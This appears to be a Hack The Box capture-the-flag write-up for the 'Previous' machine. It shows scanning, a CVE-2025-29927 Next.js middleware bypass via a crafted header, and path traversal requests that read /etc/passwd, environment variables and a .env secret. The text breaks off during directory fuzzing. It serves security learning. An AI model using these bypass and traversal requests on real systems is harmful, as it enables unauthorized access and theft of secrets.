HTB Previous Writeup
A concise summary: this write-up shows how a Next.js authorization bypass and a misplaced Terraform provider installation can be chained to obtain both user and root on the “Previous” HTB machine.
Previous HTB Release Area Machine
Machine information
Author: Sierra0117
Enumeration
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ sudo nmap -Pn -sC -sV 10.10.11.83
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 23:38 EDT
Nmap scan report for 10.10.11.83
Host is up (0.34s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 38.03 seconds
RustScan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.10.11.83:22
Open 10.10.11.83:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-06 14:47 IST
Initiating Ping Scan at 14:47
Scanning 10.10.11.83 [4 ports]
Completed Ping Scan at 14:47, 0.23s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:47
Scanning previous.htb (10.10.11.83) [2 ports]
Discovered open port 80/tcp on 10.10.11.83
Discovered open port 22/tcp on 10.10.11.83
Completed SYN Stealth Scan at 14:47, 0.23s elapsed (2 total ports)
Nmap scan report for previous.htb (10.10.11.83)
Host is up, received echo-reply ttl 63 (0.22s latency).
Scanned at 2025-09-06 14:47:10 IST for 1s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.57 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Add these to /etc/hosts
file:
1
10.10.11.83 previous.htb
Let’s check the web server.
Web Enumeration
Go to http://previous.htb
.
Then when we hover to Contact
we see email.
Found out jeremy@previous.htb
, so if we found any password, we can use this to ssh
into the machine.
When we click on Get Started
or Docs
, we will be redirected to this page.
We got this path http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
for latter discovery.
Let’s check out the techstack of this website.
So this website use Next.js 15.2.2
and then searching for public exploit or related cve.
→ We found out Next.js Middleware Auth Bypass and was assigned to CVE-2025-29927
.
CVE-2025-29927
Searching for exploit github poc and found out this exploit-CVE-2025-29927 to help me identify the vulnerability.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─$ python3 exploit-CVE-2025-29927.py -u http://previous.htb/ -v 15.2.2
_ __,~~~/_ __ ___ _______________ ___ ___
,~~`( )_( )-\| / / / / |/ / _/ ___/ __ \/ _ \/ _ \
|/| `--. / /_/ / // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
UNICORD: Exploit for CVE-2025-29927 (Next.js) - Authorization Bypass
TARGETS: http://previous.htb/
PREPARE: Target is running Next.js!
VERSION: Targeting Next.js version 15.2.2 (Vulnerable)
PAYLOAD: {'X-Middleware-Subrequest': 'middleware:middleware:middleware:middleware:middleware'}
EXPLOIT: Payload sent!
FAILURE: Authorization bypass header failed.
PAYLOAD: {'X-Middleware-Subrequest': 'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware'}
EXPLOIT: Payload sent!
FAILURE: Authorization bypass header failed.
ERRORED: Exploitation failed! Target may not be vulnerable.
So we got problem due to Authorization failed
and Exploitation failed
which we though that it will got SUCCESS
.
→ But if we look back the path we got, if we try to with http://previous.htb/api/
could it work?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ python3 exploit-CVE-2025-29927.py -u http://previous.htb/api/ -v 15.2.2
_ __,~~~/_ __ ___ _______________ ___ ___
,~~`( )_( )-\| / / / / |/ / _/ ___/ __ \/ _ \/ _ \
|/| `--. / /_/ / // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
UNICORD: Exploit for CVE-2025-29927 (Next.js) - Authorization Bypass
TARGETS: http://previous.htb/api/
PREPARE: Target is running Next.js!
VERSION: Targeting Next.js version 15.2.2 (Vulnerable)
PAYLOAD: {'X-Middleware-Subrequest': 'middleware:middleware:middleware:middleware:middleware'}
EXPLOIT: Payload sent!
SUCCESS: Authorization bypass header found!
OUTPUTS: Response written to file: nextjs_bypass_previous.htb.html
REQUEST: curl -i -k "http://previous.htb/api/" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
Noice! We got the SUCCESS
and we can see the response in the file nextjs_bypass_previous.htb.html
.
1
2
└─$ cat nextjs_bypass_previous.htb.html
<!DOCTYPE html><html><head><meta charSet="utf-8" data-next-head=""/><meta name="viewport" content="width=device-width" data-next-head=""/><title data-next-head="">404: This page could not be found</title><link rel="preload" href="/_next/static/css/9a1ff1f4870b5a50.css" as="style"/><link rel="stylesheet" href="/_next/static/css/9a1ff1f4870b5a50.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js"></script><script src="/_next/static/chunks/webpack-cb370083d4f9953f.js" defer=""></script><script src="/_next/static/chunks/framework-ee17a4c43a44d3e2.js" defer=""></script><script src="/_next/static/chunks/main-0221d9991a31a63c.js" defer=""></script><script src="/_next/static/chunks/pages/_app-95f33af851b6322a.js" defer=""></script><script src="/_next/static/chunks/pages/_error-41608b100cc61246.js" defer=""></script><script src="/_next/static/qVDR2cKpRgqCslEh-llk9/_buildManifest.js" defer=""></script><script src="/_next/static/qVDR2cKpRgqCslEh-llk9/_ssgManifest.js" defer=""></script></head><body><div id="__next"><div style="font-family:system-ui,"Segoe UI",Roboto,Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";height:100vh;text-align:center;display:flex;flex-direction:column;align-items:center;justify-content:center"><div style="line-height:48px"><style>body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}</style><h1 class="next-error-h1" style="display:inline-block;margin:0 20px 0 0;padding-right:23px;font-size:24px;font-weight:500;vertical-align:top">404</h1><div style="display:inline-block"><h2 style="font-size:14px;font-weight:400;line-height:28px">This page could not be found<!-- -->.</h2></div></div></div></div><script id="__NEXT_DATA__" type="application/json">{"props":{"pageProps":{"statusCode":404}},"page":"/_error","query":{},"buildId":"qVDR2cKpRgqCslEh-llk9","nextExport":true,"isFallback":false,"gip":true,"scriptLoader":[]}</script></body></html>
And we also found out other github poc CVE-2025-29927-PoC-Exploit which also quite similar but this one is more detailed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
└─$ python3 CVE-2025-29927-check.py
Domain (or full URL): http://previous.htb/api/
[+] Full path provided. Testing only endpoint: /api/
[*] Connecting to base URL: http://previous.htb
[*] Total endpoints to test: 1
[>] Testing endpoint: http://previous.htb/api/
[*] Sending baseline request to: http://previous.htb/api/
[*] Testing payload 'pages/_middleware' for: http://previous.htb/api/
[+] For http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi with payload 'pages/_middleware': baseline_status=200, test_status=200, vulnerable=False
[*] Testing payload 'middleware' for: http://previous.htb/api/
[+] For http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi with payload 'middleware': baseline_status=200, test_status=200, vulnerable=False
[*] Testing payload 'src/middleware' for: http://previous.htb/api/
[+] For http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi with payload 'src/middleware': baseline_status=200, test_status=200, vulnerable=False
[*] Testing payload 'middleware:middleware:middleware:middleware:middleware' for: http://previous.htb/api/
[+] For http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi with payload 'middleware:middleware:middleware:middleware:middleware': baseline_status=200, test_status=404, vulnerable=True
[*] Testing payload 'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware' for: http://previous.htb/api/
[+] For http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi with payload 'src/middleware:src/middleware:src/middleware:src/middleware:src/middleware': baseline_status=200, test_status=200, vulnerable=False
Final Results:
[
{
"path": "/api/",
"payload": "pages/_middleware",
"baseline_status": 200,
"test_status": 200,
"baseline_url": "http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi",
"content_different": false,
"vulnerable": false
},
{
"path": "/api/",
"payload": "middleware",
"baseline_status": 200,
"test_status": 200,
"baseline_url": "http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi",
"content_different": false,
"vulnerable": false
},
{
"path": "/api/",
"payload": "src/middleware",
"baseline_status": 200,
"test_status": 200,
"baseline_url": "http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi",
"content_different": false,
"vulnerable": false
},
{
"path": "/api/",
"payload": "middleware:middleware:middleware:middleware:middleware",
"baseline_status": 200,
"test_status": 404,
"baseline_url": "http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi",
"content_different": true,
"vulnerable": true
},
{
"path": "/api/",
"payload": "src/middleware:src/middleware:src/middleware:src/middleware:src/middleware",
"baseline_status": 200,
"test_status": 200,
"baseline_url": "http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi",
"content_different": false,
"vulnerable": false
}
]
Either worked really well, so we know that we can bypass the login by injesting this Header into the request.
1
X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
So now let’s fuzzing with this header to see if we can found any other endpoints.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ gobuster dir -u http://previous.htb/api/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://previous.htb/api/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download (Status: 400) [Size: 28]
Progress: 23986 / 30000 (79.95%)[ERROR] parse "http://previous.htb/api/error\x1f_log": net/url: invalid control character in URL
Progress: 29999 / 30000 (100.00%)
===============================================================
Finished
===============================================================
We got /download
endpoint, let’s check it out.
1
2
3
4
5
6
7
8
9
10
11
└─$ curl -i http://previous.htb/api/download -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 400 Bad Request
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 09:41:16 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 28
Connection: keep-alive
ETag: "vpkl9mnjvgs"
Vary: Accept-Encoding
{"error":"Invalid filename"}
Seems like we need to have a correct parameter.
→ Let’s fuzzing for parameter.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ gobuster fuzz -u "http://previous.htb/api/download?FUZZ=test.txt" -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" --exclude-length 28
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://previous.htb/api/download?FUZZ=test.txt
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt
[+] Exclude Length: 28
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in fuzzing mode
===============================================================
Found: [Status=404] [Length=26] [Word=example] http://previous.htb/api/download?example=test.txt
Progress: 6453 / 6454 (99.98%)
===============================================================
Finished
===============================================================
So we are up to this part, getting some assumptions that if we can path traversal on this path.
→ Let’s check it out to see if we can read /etc/passwd
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
└─$ curl -i "http://previous.htb/api/download?example=../../../etc/passwd" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 09:53:48 GMT
Content-Type: application/zip
Content-Length: 787
Connection: keep-alive
Content-Disposition: attachment; filename=../../../etc/passwd
ETag: "41amqg1v4m26j"
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
Okay, so we got a good sign from Local File Inclusion (LFI)
.
→ Now we will check the enviroment variable.
LFI
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ curl -i "http://previous.htb/api/download?example=../../../proc/self/environ" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" --output result.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 216 100 216 0 0 156 0 0:00:01 0:00:01 --:--:-- 156
└─$ cat result.txt
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 09:59:27 GMT
Content-Type: application/zip
Content-Length: 216
Connection: keep-alive
Content-Disposition: attachment; filename=../../../proc/self/environ
ETag: "151dqoq1n56jy"
NODE_VERSION=18.20.8HOSTNAME=0.0.0.0YARN_VERSION=1.22.22SHLVL=1PORT=3000HOME=/home/nextjsPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNEXT_TELEMETRY_DISABLED=1PWD=/appNODE_ENV=production
We got some information about the machine.
→ Take a look more from Next.js Project Structure and based on experience.
Discovery
1
2
3
4
5
6
7
8
9
10
11
└─$ curl -i "http://previous.htb/api/download?example=../../../app/.env" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 10:09:29 GMT
Content-Type: application/zip
Content-Length: 49
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.env
ETag: "14ro7p5qyfd4v"
NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a
Found out this NEXTAUTH_SECRET
which we can use to forge the JWT token.
But I do not use this to forge as admin to exploit more so if you can try it out and let me know if it works. =)
Let’s check out server.js
file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
└─$ curl -i "http://previous.htb/api/download?example=../../../app/server.js" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 10:26:29 GMT
Content-Type: application/zip
Content-Length: 6009
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/server.js
ETag: "48xgv9zfn0go1"
const path = require('path')
const dir = path.join(__dirname)
process.env.NODE_ENV = 'production'
process.chdir(__dirname)
const currentPort = parseInt(process.env.PORT, 10) || 3000
const hostname = process.env.HOSTNAME || '0.0.0.0'
let keepAliveTimeout = parseInt(process.env.KEEP_ALIVE_TIMEOUT, 10)
const nextConfig = {"env":{},"eslint":{"ignoreDuringBuilds":false},"typescript":{"ignoreBuildErrors":false,"tsconfigPath":"tsconfig.json"},"distDir":"./.next","cleanDistDir":true,"assetPrefix":"","cacheMaxMemorySize":52428800,"configOrigin":"next.config.mjs","useFileSystemPublicRoutes":true,"generateEtags":true,"pageExtensions":["js","jsx","md","mdx","ts","tsx"],"poweredByHeader":true,"compress":true,"images":{"deviceSizes":[640,750,828,1080,1200,1920,2048,3840],"imageSizes":[16,32,48,64,96,128,256,384],"path":"/_next/image","loader":"default","loaderFile":"","domains":[],"disableStaticImages":false,"minimumCacheTTL":60,"formats":["image/webp"],"dangerouslyAllowSVG":false,"contentSecurityPolicy":"script-src 'none'; frame-src 'none'; sandbox;","contentDispositionType":"attachment","remotePatterns":[],"unoptimized":false},"devIndicators":{"position":"bottom-left"},"onDemandEntries":{"maxInactiveAge":60000,"pagesBufferLength":5},"amp":{"canonicalBase":""},"basePath":"","sassOptions":{},"trailingSlash":false,"i18n":null,"productionBrowserSourceMaps":false,"excludeDefaultMomentLocales":true,"serverRuntimeConfig":{},"publicRuntimeConfig":{},"reactProductionProfiling":false,"reactStrictMode":null,"reactMaxHeadersLength":6000,"httpAgentOptions":{"keepAlive":true},"logging":{},"expireTime":31536000,"staticPageGenerationTimeout":60,"output":"standalone","modularizeImports":{"@mui/icons-material":{"transform":"@mui/icons-material/"},"lodash":{"transform":"lodash/"}},"outputFileTracingRoot":"/app","experimental":{"allowedDevOrigins":[],"nodeMiddleware":false,"cacheLife":{"default":{"stale":300,"revalidate":900,"expire":4294967294},"seconds":{"stale":0,"revalidate":1,"expire":60},"minutes":{"stale":300,"revalidate":60,"expire":3600},"hours":{"stale":300,"revalidate":3600,"expire":86400},"days":{"stale":300,"revalidate":86400,"expire":604800},"weeks":{"stale":300,"revalidate":604800,"expire":2592000},"max":{"stale":300,"revalidate":2592000,"expire":4294967294}},"cacheHandlers":{},"cssChunking":true,"multiZoneDraftMode":false,"appNavFailHandling":false,"prerenderEarlyExit":true,"serverMinification":true,"serverSourceMaps":false,"linkNoTouchStart":false,"caseSensitiveRoutes":false,"clientSegmentCache":false,"preloadEntriesOnStart":true,"clientRouterFilter":true,"clientRouterFilterRedirects":false,"fetchCacheKeyPrefix":"","middlewarePrefetch":"flexible","optimisticClientCache":true,"manualClientBasePath":false,"cpus":1,"memoryBasedWorkersCount":false,"imgOptConcurrency":null,"imgOptTimeoutInSeconds":7,"imgOptMaxInputPixels":268402689,"imgOptSequentialRead":null,"isrFlushToDisk":true,"workerThreads":false,"optimizeCss":false,"nextScriptWorkers":false,"scrollRestoration":false,"externalDir":false,"disableOptimizedLoading":false,"gzipSize":true,"craCompat":false,"esmExternals":true,"fullySpecified":false,"swcTraceProfiling":false,"forceSwcTransforms":false,"largePageDataBytes":128000,"turbo":{"root":"/app"},"typedRoutes":false,"typedEnv":false,"parallelServerCompiles":false,"parallelServerBuildTraces":false,"ppr":false,"authInterrupts":false,"webpackMemoryOptimizations":false,"optimizeServerReact":true,"useEarlyImport":false,"viewTransition":false,"staleTimes":{"dynamic":0,"static":300},"serverComponentsHmrCache":true,"staticGenerationMaxConcurrency":8,"staticGenerationMinPagesPerWorker":25,"dynamicIO":false,"inlineCss":false,"useCache":false,"optimizePackageImports":["lucide-react","date-fns","lodash-es","ramda","antd","react-bootstrap","ahooks","@ant-design/icons","@headlessui/react","@headlessui-float/react","@heroicons/react/20/solid","@heroicons/react/24/solid","@heroicons/react/24/outline","@visx/visx","@tremor/react","rxjs","@mui/material","@mui/icons-material","recharts","react-use","effect","@effect/schema","@effect/platform","@effect/platform-node","@effect/platform-browser","@effect/platform-bun","@effect/sql","@effect/sql-mssql","@effect/sql-mysql2","@effect/sql-pg","@effect/sql-squlite-node","@effect/sql-squlite-bun","@effect/sql-squlite-wasm","@effect/sql-squlite-react-native","@effect/rpc","@effect/rpc-http","@effect/typeclass","@effect/experimental","@effect/opentelemetry","@material-ui/core","@material-ui/icons","@tabler/icons-react","mui-core","react-icons/ai","react-icons/bi","react-icons/bs","react-icons/cg","react-icons/ci","react-icons/di","react-icons/fa","react-icons/fa6","react-icons/fc","react-icons/fi","react-icons/gi","react-icons/go","react-icons/gr","react-icons/hi","react-icons/hi2","react-icons/im","react-icons/io","react-icons/io5","react-icons/lia","react-icons/lib","react-icons/lu","react-icons/md","react-icons/pi","react-icons/ri","react-icons/rx","react-icons/si","react-icons/sl","react-icons/tb","react-icons/tfi","react-icons/ti","react-icons/vsc","react-icons/wi"],"trustHostHeader":false,"isExperimentalCompile":false},"htmlLimitedBots":"Mediapartners-Google|Slurp|DuckDuckBot|baiduspider|yandex|sogou|bitlybot|tumblr|vkShare|quora link preview|redditbot|ia_archiver|Bingbot|BingPreview|applebot|facebookexternalhit|facebookcatalog|Twitterbot|LinkedInBot|Slackbot|Discordbot|WhatsApp|SkypeUriPreview","bundlePagesRouterDependencies":false,"configFileName":"next.config.mjs"}
process.env.__NEXT_PRIVATE_STANDALONE_CONFIG = JSON.stringify(nextConfig)
require('next')
const { startServer } = require('next/dist/server/lib/start-server')
if (
Number.isNaN(keepAliveTimeout) ||
!Number.isFinite(keepAliveTimeout) ||
keepAliveTimeout < 0
) {
keepAliveTimeout = undefined
}
startServer({
dir,
isDev: false,
config: nextConfig,
hostname,
port: currentPort,
allowRetry: false,
keepAliveTimeout,
}).catch((err) => {
console.error(err);
process.exit(1);
});
Got more details about this "distDir":"./.next"
so we build, all the complied file will be in this directory.
→ Checking out routes-manifest.json
to know all the static and dynamic routes that Next.js handle
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
└─$ curl -i "http://previous.htb/api/download?example=../../../app/.next/routes-manifest.json" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 10:27:57 GMT
Content-Type: application/zip
Content-Length: 2548
Connection: keep-alive
Content-Disposition: attachment; filename=../../../app/.next/routes-manifest.json
ETag: "9g13nceds96qd"
{
"version": 3,
"pages404": true,
"caseSensitive": false,
"basePath": "",
"redirects": [
{
"source": "/:path+/",
"destination": "/:path+",
"internal": true,
"statusCode": 308,
"regex": "^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$"
}
],
"headers": [],
"dynamicRoutes": [
{
"page": "/api/auth/[...nextauth]",
"regex": "^/api/auth/(.+?)(?:/)?$",
"routeKeys": {
"nxtPnextauth": "nxtPnextauth"
},
"namedRegex": "^/api/auth/(?<nxtPnextauth>.+?)(?:/)?$"
},
{
"page": "/docs/[section]",
"regex": "^/docs/([^/]+?)(?:/)?$",
"routeKeys": {
"nxtPsection": "nxtPsection"
},
"namedRegex": "^/docs/(?<nxtPsection>[^/]+?)(?:/)?$"
}
],
"staticRoutes": [
{
"page": "/",
"regex": "^/(?:/)?$",
"routeKeys": {},
"namedRegex": "^/(?:/)?$"
},
{
"page": "/docs",
"regex": "^/docs(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs(?:/)?$"
},
{
"page": "/docs/components/layout",
"regex": "^/docs/components/layout(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/components/layout(?:/)?$"
},
{
"page": "/docs/components/sidebar",
"regex": "^/docs/components/sidebar(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/components/sidebar(?:/)?$"
},
{
"page": "/docs/content/examples",
"regex": "^/docs/content/examples(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/content/examples(?:/)?$"
},
{
"page": "/docs/content/getting-started",
"regex": "^/docs/content/getting\\-started(?:/)?$",
"routeKeys": {},
"namedRegex": "^/docs/content/getting\\-started(?:/)?$"
},
{
"page": "/signin",
"regex": "^/signin(?:/)?$",
"routeKeys": {},
"namedRegex": "^/signin(?:/)?$"
}
],
"dataRoutes": [],
"rsc": {
"header": "RSC",
"varyHeader": "RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch",
"prefetchHeader": "Next-Router-Prefetch",
"didPostponeHeader": "x-nextjs-postponed",
"contentTypeHeader": "text/x-component",
"suffix": ".rsc",
"prefetchSuffix": ".prefetch.rsc",
"prefetchSegmentHeader": "Next-Router-Segment-Prefetch",
"prefetchSegmentSuffix": ".segment.rsc",
"prefetchSegmentDirSuffix": ".segments"
},
"rewriteHeaders": {
"pathHeader": "x-nextjs-rewritten-path",
"queryHeader": "x-nextjs-rewritten-query"
},
"rewrites": []
}
We found the auth part but when we try it out.
1
2
3
4
5
6
7
8
9
10
11
└─$ curl -i "http://previous.htb/api/download?example=../../../app/pages/api/auth/%5B...nextauth%5D.js" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
HTTP/1.1 404 Not Found
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 24 Aug 2025 10:35:03 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 26
Connection: keep-alive
ETag: "c8wflmak5q"
Vary: Accept-Encoding
{"error":"File not found"}
Got this error, maybe we need to fuzzing more to find the right path and as we know that all compiled file will be in .next
directory.
→ Let’s fuzzing from /.next
directory.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ gobuster dir -u "http://previous.htb/api/download?example=../../../app/.next/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://previous.htb/api/download?example=../../../app/.next/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/static (Status: 500) [Size: 21]
/server (Status: 500) [Size: 21]
Got 2 dir, we will go with /server
.
We can also got these path from Next.js build API
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ gobuster dir -u "http://previous.htb/api/download?example=../../../app/.next/server/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://previous.htb/api/download?example=../../../app/.next/server/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/pages (Status: 500) [Size: 21]
Gonna keep going.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ gobuster dir -u "http://previous.htb/api/download?example=../../../app/.next/server/pages/" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://previous.htb/api/download?example=../../../app/.next/server/pages/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt
